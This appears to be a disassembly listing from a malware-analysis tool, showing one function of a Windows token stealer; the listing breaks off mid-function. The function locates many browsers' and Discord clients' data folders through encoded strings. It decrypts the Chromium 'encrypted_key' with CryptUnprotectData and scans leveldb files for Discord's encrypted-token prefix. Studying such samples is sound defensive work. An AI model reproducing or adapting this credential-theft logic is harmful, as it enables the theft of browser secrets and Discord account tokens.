Function at 0x425110
Capabilities:
Encrypt data using dpapi
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x659eb3
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ecx
mov eax, 0x1ca4
call fcn.0061faa0
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.LOCALAPPDATA
mov dword [ebp - 0x15d4], 0
call fcn.0063833c
add esp, 4
mov dword [ebp - 0x163c], eax
test eax, eax
jne 0x42519e
push str._LOCALAPPDATA__environment_variable_not_found.
push 0x6ec0b8
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
jmp 0x42b73d
push str.APPDATA
call fcn.0063833c
add esp, 4
mov dword [ebp - 0x1628], eax
test eax, eax
je 0x42b73d
push 8
lea ecx, [ebp - 0x14c]
call fcn.00409910
push str.92_55_83_116_97_114_92_55_83_116_97_114_92_85_115_101_114_32_68_97_116_97
push str.55_115_116_97_114_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1cb0]
call fcn.00459640
push str.92_65_109_105_103_111_92_85_115_101_114_32_68_97_116_97
push str.65_109_105_103_111_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1c80]
mov dword [ebp - 4], 0
call fcn.004596d0
push str.92_66_114_97_118_101_83_111_102_116_119_97_114_101_92_66_114_97_118_101_45_66_114_111_119_115_101_114_92_85_115_101_114_32_68_97_116_97
push str.66_114_97_118_101_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1c50]
mov byte [ebp - 4], 1
call fcn.00459760
push str.92_67_101_110_116_66_114_111_119_115_101_114_92_85_115_101_114_32_68_97_116_97
push str.67_101_110_116_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1c20]
mov byte [ebp - 4], 2
call fcn.004597f0
push str.92_100_105_115_99_111_114_100
push str.68_105_115_99_111_114_100
lea ecx, [ebp - 0x1bf0]
mov byte [ebp - 4], 3
call fcn.00459880
push str.92_100_105_115_99_111_114_100_99_97_110_97_114_121
push str.68_105_115_99_111_114_100_32_67_97_110_97_114_121
lea ecx, [ebp - 0x1bc0]
mov byte [ebp - 4], 4
call fcn.00459930
push str.92_100_105_115_99_111_114_100_112_116_98
push str.68_105_115_99_111_114_100_32_80_84_66
lea ecx, [ebp - 0x1b90]
mov byte [ebp - 4], 5
call fcn.004599c0
push str.92_69_112_105_99_32_80_114_105_118_97_99_121_32_66_114_111_119_115_101_114_92_85_115_101_114_32_68_97_116_97
push str.69_112_105_99_32_80_114_105_118_97_99_121_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1b60]
mov byte [ebp - 4], 6
call fcn.00459a50
push str.92_71_111_111_103_108_101_92_67_104_114_111_109_101_92_85_115_101_114_32_68_97_116_97
push str.71_111_111_103_108_101_32_67_104_114_111_109_101_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1b30]
mov byte [ebp - 4], 7
call fcn.00459ae0
push str.92_71_111_103_108_101_92_67_104_114_111_109_101_32_83_120_83_92_85_115_101_114_32_68_97_116_97
push str.71_111_111_103_108_101_32_67_104_114_111_109_101_32_83_120_115_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1b00]
mov byte [ebp - 4], 8
call fcn.00459b70
push str.92_73_114_105_100_105_117_109_92_85_115_101_114_32_68_97_116_97
push str.73_114_105_100_105_117_109_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 4], 9
call fcn.00459880
push str.92_75_111_109_101_116_97_92_85_115_101_114_32_68_97_116_97
push str.75_111_109_101_116_97_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1aa0]
mov byte [ebp - 4], 0xa
call fcn.00459c00
push str.92_76_105_103_104_116_99_111_114_100
push str.76_105_103_104_116_99_111_114_100
lea ecx, [ebp - 0x1a70]
mov byte [ebp - 4], 0xb
call fcn.00459c90
mov byte [ebp - 4], 0xc
push str.92_77_105_99_114_111_115_111_102_116_92_69_100_103_101_92_85_115_101_114_32_68_97_116_97
push str.77_105_99_114_111_115_111_102_116_32_69_100_103_101_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1a40]
call fcn.00459d20
push str.92_79_112_101_114_97_32_83_111_102_116_119_97_114_101_92_79_112_101_114_97_32_83_116_97_98_108_101
push str.79_112_101_114_97_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1a10]
mov byte [ebp - 4], 0xd
call fcn.00459db0
push str.92_79_112_101_114_97_32_83_111_102_116_119_97_114_101_92_79_112_101_114_97_32_71_88_32_83_116_97_98_108_101
push str.79_112_101_114_97_71_120_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x19e0]
mov byte [ebp - 4], 0xe
call fcn.00459e40
push str.92_79_114_98_105_116_117_109_92_85_115_101_114_32_68_97_116_97
push str.79_114_98_105_116_117_109_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x19b0]
mov byte [ebp - 4], 0xf
call fcn.00459880
push str.92_83_112_117_116_110_105_107_92_83_112_117_116_110_105_107_92_85_115_101_114_32_68_97_116_97
push str.83_112_117_116_110_105_107_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1980]
mov byte [ebp - 4], 0x10
call fcn.00459ed0
push str.92_84_104_111_114_105_117_109_92_85_115_101_114_32_68_97_116_97
push str.84_104_111_114_105_117_109_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1950]
mov byte [ebp - 4], 0x11
call fcn.00459880
push str.92_84_111_114_99_104_92_85_115_101_114_32_68_97_116_97
push str.84_111_114_99_104_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1920]
mov byte [ebp - 4], 0x12
call fcn.00459f60
push str.92_117_67_111_122_77_101_100_105_97_92_85_114_97_110_92_85_115_101_114_32_68_97_116_97
push str.85_114_97_110_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x18f0]
mov byte [ebp - 4], 0x13
call fcn.00459ff0
push str.92_86_105_118_97_108_100_105_92_85_115_101_114_32_68_97_116_97
push str.86_105_118_97_108_100_105_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x18c0]
mov byte [ebp - 4], 0x14
call fcn.00459880
push str.92_89_97_110_100_101_120_92_89_97_110_100_101_120_66_114_111_119_115_101_114_92_85_115_101_114_32_68_97_116_97
push str.89_97_110_100_101_120_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x1890]
mov byte [ebp - 4], 0x15
call fcn.0045a080
lea eax, [ebp - 0x1860]
mov dword [ebp - 4], 0x16
push eax
lea eax, [ebp - 0x1cb0]
push eax
lea ecx, [ebp - 0x172c]
call fcn.00440d30
lea ecx, [ebp - 0x14c]
push dword [eax + 4]
push dword [eax]
call fcn.00441fa0
push fcn.00413c80
push 0x17
push 0x30
lea eax, [ebp - 0x1cb0]
mov byte [ebp - 4], 0x18
push eax
call fcn.0061ec37
mov byte [ebp - 4], 0x19
push str.79_112_101_114_97_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x58]
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2e0]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x1c
call fcn.00447640
push str.79_112_101_114_97_71_120_32_66_114_111_119_115_101_114
lea ecx, [ebp - 0x2bc]
call fcn.004113c0
lea edx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1cc]
call fcn.00424de0
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x1f
call fcn.00447640
push 8
lea ecx, [ebp - 0x7c]
call fcn.00409910
lea ecx, [ebp - 0x7c]
call fcn.0040d8d0
push 4
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x20
call fcn.00416cc0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x14c]
call fcn.004421a0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00442190
nop
push dword [ebp - 0x38]
lea ecx, [ebp - 0x5c]
call fcn.00441cd0
test al, al
jne 0x425564
lea ecx, [ebp - 0x5c]
call fcn.00440c30
mov esi, eax
lea ecx, [ebp - 0x2bc]
mov edx, esi
call fcn.00424de0
lea edx, [esi + 0x18]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x58]
call fcn.00424de0
lea eax, [ebp - 0x2bc]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x7c]
call fcn.00441e70
lea ecx, [ebp - 0x58]
push ecx
mov ecx, eax
call fcn.00447610
lea ecx, [ebp - 0x58]
call fcn.00447640
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x20
call fcn.00447640
lea ecx, [ebp - 0x5c]
call fcn.00440bd0
jmp 0x4254f0
push 8
lea ecx, [ebp - 0x84]
call fcn.00409910
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x84]
call fcn.004420b0
push 4
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x23
call fcn.00416cc0
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x84]
call fcn.004421a0
lea eax, [ebp - 0x1f9]
push eax
lea ecx, [ebp - 0x84]
call fcn.00442190
nop word [eax + eax]
mov eax, dword [ebp - 0x1d0]
cmp byte [eax + 0xd], 0
jne 0x4259b7
lea ecx, [ebp - 0x1d0]
call fcn.00440c30
mov esi, eax
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x40], esi
lea eax, [esi + 0x18]
push eax
call fcn.00447840
push esi
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0x24
call fcn.00447840
push 0x50
lea ecx, [ebp - 0x5d0]
mov byte [ebp - 4], 0x25
call fcn.0042d900
lea ecx, [ebp - 0x5d0]
call fcn.0043f330
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 0x26
push eax
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x5d0]
call fcn.0043f240
lea ecx, [ebp - 0x144]
call fcn.00447930
push str.68_105_115_99_111_114_100
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x28
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x338]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x2b
call fcn.00447640
push str.68_105_115_99_111_114_100_32_67_97_110_97_114_121
lea ecx, [ebp - 0x2bc]
call fcn.004113c0
lea edx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x320]
call fcn.00424de0
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x2e
call fcn.00447640
push str.76_105_103_104_116_99_111_114_100
lea ecx, [ebp - 0x58]
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x350]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x31
call fcn.00447640
push str.68_105_115_99_111_114_100_32_80_84_66
lea ecx, [ebp - 0x2bc]
call fcn.004113c0
lea edx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x308]
call fcn.00424de0
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x34
call fcn.00447640
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x4257e6
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x4257e6
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x4257e6
lea eax, [ebp - 0x308]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x4257e6
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x4257d7
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x4257d7
lea eax, [esi + 0x18]
push eax
push dword [ebp - 0x163c]
lea eax, [ebp - 0x34]
push eax
call fcn.00452ec0
add esp, 0xc
lea ecx, [ebp - 0x144]
push eax
call fcn.00447690
lea ecx, [ebp - 0x34]
jmp 0x426ccc
mov eax, dword [ebp - 0x40]
add eax, 0x18
push eax
push dword [ebp - 0x1628]
jmp 0x4257b7
push dword [ebp - 0x1628]
lea ecx, [ebp - 0xcc]
call fcn.004113c0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x40]
add ecx, 0x18
push ecx
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x144]
push eax
call fcn.00447690
lea ecx, [ebp - 0x34]
call fcn.00447640
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x34
call fcn.00447640
push 0
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x58]
call fcn.0045a110
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x36
call fcn.00409800
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x15ca], al
mov byte [ebp - 4], 0x34
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x426cd1
push str.92_76_111_99_97_108_32_83_116_97_116_101
lea ecx, [ebp - 0x58]
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x380]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x39
call fcn.00447640
lea eax, [ebp - 0x380]
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x244]
call fcn.00451460
add esp, 4
push 0
lea eax, [ebp - 0x244]
mov byte [ebp - 4], 0x3a
push eax
lea ecx, [ebp - 0x58]
call fcn.0045a110
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x3b
call fcn.00409800
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x15ca], al
mov byte [ebp - 4], 0x3a
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x426cb7
push 0xb8
lea ecx, [ebp - 0x688]
call fcn.00412510
push 1
push 0x40
push 1
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x688]
call fcn.00441b50
lea ecx, [ebp - 0x688]
mov byte [ebp - 4], 0x3c
call fcn.00441a50
test al, al
jne 0x4259e5
lea ecx, [ebp - 0x688]
call fcn.00412480
lea ecx, [ebp - 0x244]
call fcn.00447640
lea ecx, [ebp - 0x380]
call fcn.00447640
lea ecx, [ebp - 0x308]
call fcn.00447640
lea ecx, [ebp - 0x350]
call fcn.00447640
lea ecx, [ebp - 0x320]
call fcn.00447640
lea ecx, [ebp - 0x338]
call fcn.00447640
lea ecx, [ebp - 0x144]
call fcn.00447640
lea ecx, [ebp - 0x214]
call fcn.00406430
lea ecx, [ebp - 0x5d0]
call fcn.0043f270
lea ecx, [ebp - 0x120]
call fcn.00447640
lea ecx, [ebp - 0x368]
call fcn.00447640
lea ecx, [ebp - 0x84]
call fcn.004113b0
lea ecx, [ebp - 0x7c]
call fcn.004113b0
lea ecx, [ebp - 0x1cc]
call fcn.00447640
lea ecx, [ebp - 0x2e0]
call fcn.00447640
jmp 0x42b732
push 0
lea ecx, [ebp - 0x400]
call fcn.00443ae0
lea edx, [ebp - 0x400]
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x688]
call fcn.00443930
lea ecx, [ebp - 0x688]
call fcn.00441a10
push str.os_crypt
lea eax, [ebp - 0x1830]
push eax
lea ecx, [ebp - 0x400]
call fcn.0045a150
mov esi, eax
lea ecx, [ebp - 0x400]
lea eax, [ebp - 0x1840]
push eax
call fcn.004439e0
push eax
mov ecx, esi
call fcn.0045a220
test al, al
je 0x426ca1
push str.os_crypt
lea ecx, [ebp - 0x400]
call fcn.00459410
push str.encrypted_key
lea ecx, [ebp - 0x1850]
push ecx
mov ecx, eax
call fcn.0045a310
push str.os_crypt
lea ecx, [ebp - 0x400]
mov esi, eax
call fcn.00459410
lea ecx, [ebp - 0x1860]
push ecx
mov ecx, eax
call fcn.004439e0
push eax
mov ecx, esi
call fcn.0045a220
test al, al
je 0x426ca1
push str.os_crypt
lea ecx, [ebp - 0x400]
call fcn.00459410
push str.encrypted_key
mov ecx, eax
call fcn.00459410
lea ecx, [ebp - 0x25c]
push ecx
mov ecx, eax
call fcn.00459550
lea ecx, [ebp - 0x108]
call fcn.00447930
push 0x40
lea ecx, [ebp - 0x520]
mov byte [ebp - 4], 0x3f
call fcn.0042d770
push 0x40
call fcn.0061ec07
mov esi, eax
add esp, 4
mov dword [ebp - 0x1698], esi
push 0x40
mov ecx, esi
mov byte [ebp - 4], 0x40
call fcn.0042d770
push 0x14
call fcn.0061ec07
mov edi, eax
add esp, 4
mov dword [ebp - 0x169c], edi
push 0x14
mov ecx, edi
mov byte [ebp - 4], 0x41
call fcn.004125b0
lea eax, [ebp - 0x108]
mov ecx, edi
push eax
call fcn.00442fb0
push eax
mov ecx, esi
mov byte [ebp - 4], 0x40
call fcn.00410350
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x3f
mov edi, eax
call fcn.004436e0
lea ecx, [ebp - 0x25c]
mov esi, eax
call fcn.00447230
push edi
push 1
push esi
push eax
lea ecx, [ebp - 0x520]
call fcn.0040fe20
push str.DPAPI
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x42
call fcn.004113c0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x43
call fcn.004436e0
push eax
push 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x108]
call fcn.00447060
lea ecx, [ebp - 0x74]
push ecx
push eax
call fcn.00454990
add esp, 8
mov byte [ebp - 0x15ca], al
lea ecx, [ebp - 0x34]
call fcn.00447640
cmp byte [ebp - 0x15ca], 0
je 0x425bed
push 0xffffffffffffffff
lea ecx, [ebp - 0x74]
call fcn.004436e0
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x108]
call fcn.00447060
push eax
lea ecx, [ebp - 0x108]
call fcn.00447690
lea ecx, [ebp - 0x34]
call fcn.00447640
push 0
lea ecx, [ebp - 0x108]
call fcn.004472e0
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x1508], eax
call fcn.004436e0
mov dword [ebp - 0x150c], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x14f4]
movlpd qword [ebp - 0x14f4], xmm0
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x150c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x426c78
push 0xc
lea ecx, [ebp - 0x414]
call fcn.00413c10
lea ecx, [ebp - 0x1615]
call fcn.00411420
mov ecx, dword [ebp - 0x14f0]
push eax
mov eax, dword [ebp - 0x14f4]
add eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x414]
call fcn.0045a3e0
push str.92_76_111_99_97_108_32_83_116_111_114_97_103_101_92_108_101_118_101_108_100_98
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x44
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x34]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x47
call fcn.00447640
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0xcc]
call fcn.00451460
add esp, 4
push 0xc
lea ecx, [ebp - 0x53c]
call fcn.00413c10
lea ecx, [ebp - 0x53c]
call fcn.00443910
push 0xc
lea ecx, [ebp - 0x2c8]
call fcn.00413c10
lea ecx, [ebp - 0x2c8]
call fcn.00443910
push 0xc
lea ecx, [ebp - 0x398]
call fcn.00413c10
lea ecx, [ebp - 0x398]
call fcn.00443910
push 0x14
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0x4b
call fcn.004125b0
push 1
push str.dQw4w9WgXcQ:__.______
lea ecx, [ebp - 0x228]
call fcn.00442210
push 0
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0x4c
push eax
lea ecx, [ebp - 0x58]
call fcn.0045a110
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x4d
push eax
lea ecx, [ebp - 0x3b8]
call fcn.004089f0
lea ecx, [ebp - 0x58]
call fcn.00406430
push 8
lea ecx, [ebp - 0x294]
call fcn.00409910
sub esp, 8
lea eax, [ebp - 0x3b8]
mov ecx, esp
mov dword [ebp - 0x15d0], esp
push eax
call fcn.0040df00
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x15d0], eax
call fcn.00408ac0
add esp, 8
push 8
lea ecx, [ebp - 0x408]
call fcn.00409910
sub esp, 8
lea eax, [ebp - 0x3b8]
mov ecx, esp
mov dword [ebp - 0x15d0], esp
push eax
call fcn.0040df00
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x15d0], eax
call fcn.00408b10
add esp, 8
mov byte [ebp - 4], 0x51
nop dword [eax]
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x294]
call fcn.00408aa0
test al, al
jne 0x426115
lea ecx, [ebp - 0x294]
call fcn.00408a70
mov esi, eax
mov ecx, esi
call fcn.00408440
mov ecx, eax
call fcn.00409920
test al, al
je 0x425eae
push 0
push str..ldb
lea ecx, [ebp - 0x9c]
call fcn.0045a430
mov byte [ebp - 4], 0x52
mov ecx, esi
or dword [ebp - 0x15d4], 1
call fcn.00408440
lea ecx, [ebp - 0x3b0]
push ecx
mov ecx, eax
call fcn.00405c10
mov ecx, eax
mov dword [ebp - 4], 0x53
lea edx, [ebp - 0x9c]
or dword [ebp - 0x15d4], 2
call fcn.00406290
test al, al
jne 0x425ea5
push 0
push str..log
lea ecx, [ebp - 0x58]
call fcn.0045a430
mov dword [ebp - 4], 0x54
mov ecx, esi
or dword [ebp - 0x15d4], 4
call fcn.00408440
lea ecx, [ebp - 0x17c]
push ecx
mov ecx, eax
call fcn.00405c10
or dword [ebp - 0x15d4], 8
lea edx, [ebp - 0x58]
mov ecx, eax
call fcn.00406290
test al, al
je 0x425eae
mov byte [ebp - 0x15ca], 1
jmp 0x425eb5
mov byte [ebp - 0x15ca], 0
mov eax, dword [ebp - 0x15d4]
test al, 8
je 0x425ed1
and dword [ebp - 0x15d4], 0xfffffff7
lea ecx, [ebp - 0x17c]
call fcn.00406430
mov eax, dword [ebp - 0x15d4]
test al, 4
je 0x425eea
and dword [ebp - 0x15d4], 0xfffffffb
lea ecx, [ebp - 0x58]
call fcn.00406430
mov eax, dword [ebp - 0x15d4]
test al, 2
je 0x425f06
and dword [ebp - 0x15d4], 0xfffffffd
lea ecx, [ebp - 0x3b0]
call fcn.00406430
mov dword [ebp - 4], 0x51
mov eax, dword [ebp - 0x15d4]
test al, 1
je 0x425f29
and dword [ebp - 0x15d4], 0xfffffffe
lea ecx, [ebp - 0x9c]
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x426105
push 0xb8
lea ecx, [ebp - 0x15c8]
call fcn.00412510
mov ecx, esi
call fcn.00408440
lea ecx, [ebp - 0x17c]
push ecx
mov ecx, eax
call fcn.004058f0
push 1
push 0x40
push 0x21
push eax
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 4], 0x55
call fcn.00441b50
lea ecx, [ebp - 0x17c]
call fcn.00447640
mov eax, dword [ebp - 0x15c8]
lea ecx, [ebp - 0x15c8]
add ecx, dword [eax + 4]
call fcn.00405000
test al, al
je 0x4260f6
lea ecx, [ebp - 0x9c]
call fcn.00447930
mov byte [ebp - 4], 0x58
nop word [eax + eax]
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x15c8]
call fcn.0045a480
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call fcn.00405000
test al, al
je 0x4260e0
push 0x38
lea ecx, [ebp - 0x1b4]
call fcn.004125a0
lea ecx, [ebp - 0x1b4]
call fcn.00412530
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 0x59
push 0
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x9c]
call fcn.004538b0
add esp, 8
test al, al
je 0x4260cc
push 1
lea ecx, [ebp - 0x1b4]
call fcn.004425b0
lea ecx, [ebp - 0xb4]
push ecx
mov ecx, eax
call fcn.00442540
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x5a
call fcn.00447240
cmp byte [eax], 0x5c
jne 0x426052
lea ecx, [ebp - 0xb4]
call fcn.00447260
jmp 0x4260c1
lea eax, [ebp - 0x16a0]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00443730
lea ecx, [ebp - 0x2c8]
mov esi, dword [eax]
lea eax, [ebp - 0x16a4]
push eax
call fcn.00443740
push esi
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x16a8]
push dword [eax]
call fcn.0045a520
add esp, 8
lea ecx, [ebp - 0x2c8]
mov esi, eax
lea eax, [ebp - 0x16ac]
push eax
call fcn.00443730
push eax
mov ecx, esi
call fcn.00408aa0
test al, al
je 0x4260c1
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00443750
lea ecx, [ebp - 0xb4]
call fcn.00447640
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x58
call fcn.00412590
jmp 0x425fb0
lea ecx, [ebp - 0x15c8]
call fcn.00441a10
lea ecx, [ebp - 0x9c]
call fcn.00447640
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 4], 0x51
call fcn.00412480
lea ecx, [ebp - 0x294]
call fcn.00408a80
jmp 0x425dd0
lea ecx, [ebp - 0x408]
call fcn.00408ae0
lea ecx, [ebp - 0x294]
call fcn.00408ae0
lea ecx, [ebp - 0x3b8]
call fcn.00408ae0
push 0xc
lea ecx, [ebp - 0x3ec]
call fcn.00413c10
lea ecx, [ebp - 0x3ec]
call fcn.00443910
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 0x5b
call fcn.00408a70
mov esi, eax
lea ecx, [ebp - 0x2c8]
mov dword [ebp - 0x15d8], esi
call fcn.00414730
mov dword [ebp - 0x38], eax
mov ecx, esi
cmp ecx, eax
je 0x426312
push 0xffffffffffffffff
push 0
push 0x6a56e4
mov byte [ebp - 4], 0x5c
call fcn.004470c0
inc eax
mov ecx, esi
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00447060
lea ecx, [ebp - 0x9c]
call fcn.00447930
push 0x40
lea ecx, [ebp - 0x580]
mov byte [ebp - 4], 0x5e
call fcn.0042d770
push 0x40
call fcn.0061ec07
mov esi, eax
add esp, 4
mov dword [ebp - 0x16b0], esi
push 0x40
mov ecx, esi
mov byte [ebp - 4], 0x5f
call fcn.0042d770
push 0x14
call fcn.0061ec07
mov edi, eax
add esp, 4
mov dword [ebp - 0x16b4], edi
push 0x14
mov ecx, edi
mov byte [ebp - 4], 0x60
call fcn.004125b0
lea eax, [ebp - 0x9c]
mov ecx, edi
push eax
call fcn.00442fb0
push eax
mov ecx, esi
mov byte [ebp - 4], 0x5f
call fcn.00410350
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x5e
mov edi, eax
call fcn.004436e0
lea ecx, [ebp - 0xe4]
mov esi, eax
call fcn.00447230
push edi
push 1
push esi
push eax
lea ecx, [ebp - 0x580]
call fcn.0040fe20
lea ecx, [ebp - 0x1616]
mov byte [ebp - 4], 0x61
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x414]
lea eax, [ebp - 0x16b8]
push eax
call fcn.00443730
lea ecx, [ebp - 0x414]
mov esi, dword [eax]
lea eax, [ebp - 0x16bc]
push eax
call fcn.00443740
push edi
push esi
lea ecx, [ebp - 0x17c]
push dword [eax]
call fcn.0045a580
mov byte [ebp - 4], 0x62
push eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x39]
call fcn.0042b770
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x64
call fcn.00447640
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.00443750
lea ecx, [ebp - 0x58]
call fcn.00447640
lea ecx, [ebp - 0x580]
call fcn.0040ff90
lea ecx, [ebp - 0x9c]
call fcn.00447640
lea ecx, [ebp - 0xe4]
call fcn.00447640
jmp 0x4262f4
mov esi, dword [ebp - 0x15d8]
add esi, 0x18
mov dword [ebp - 4], 0x5b
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x15d8], esi
jmp 0x426173
lea ecx, [ebp - 0x3ec]
call fcn.00408a70
mov edi, eax
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 0x15d8], edi
call fcn.00414730
mov dword [ebp - 0x1604], eax
mov ecx, edi
cmp ecx, eax
je 0x426c17
lea eax, [ebp - 0x16c0]
push eax
lea ecx, [ebp - 0x398]
call fcn.00443730
lea ecx, [ebp - 0x398]
mov esi, dword [eax]
lea eax, [ebp - 0x16c4]
push eax
call fcn.00443740
push esi
mov edx, edi
lea ecx, [ebp - 0x16c8]
push dword [eax]
call fcn.0045a520
add esp, 8
lea ecx, [ebp - 0x398]
mov esi, eax
lea eax, [ebp - 0x16cc]
push eax
call fcn.00443730
push eax
mov ecx, esi
call fcn.00408aa0
test al, al
je 0x426c03
push edi
lea ecx, [ebp - 0x398]
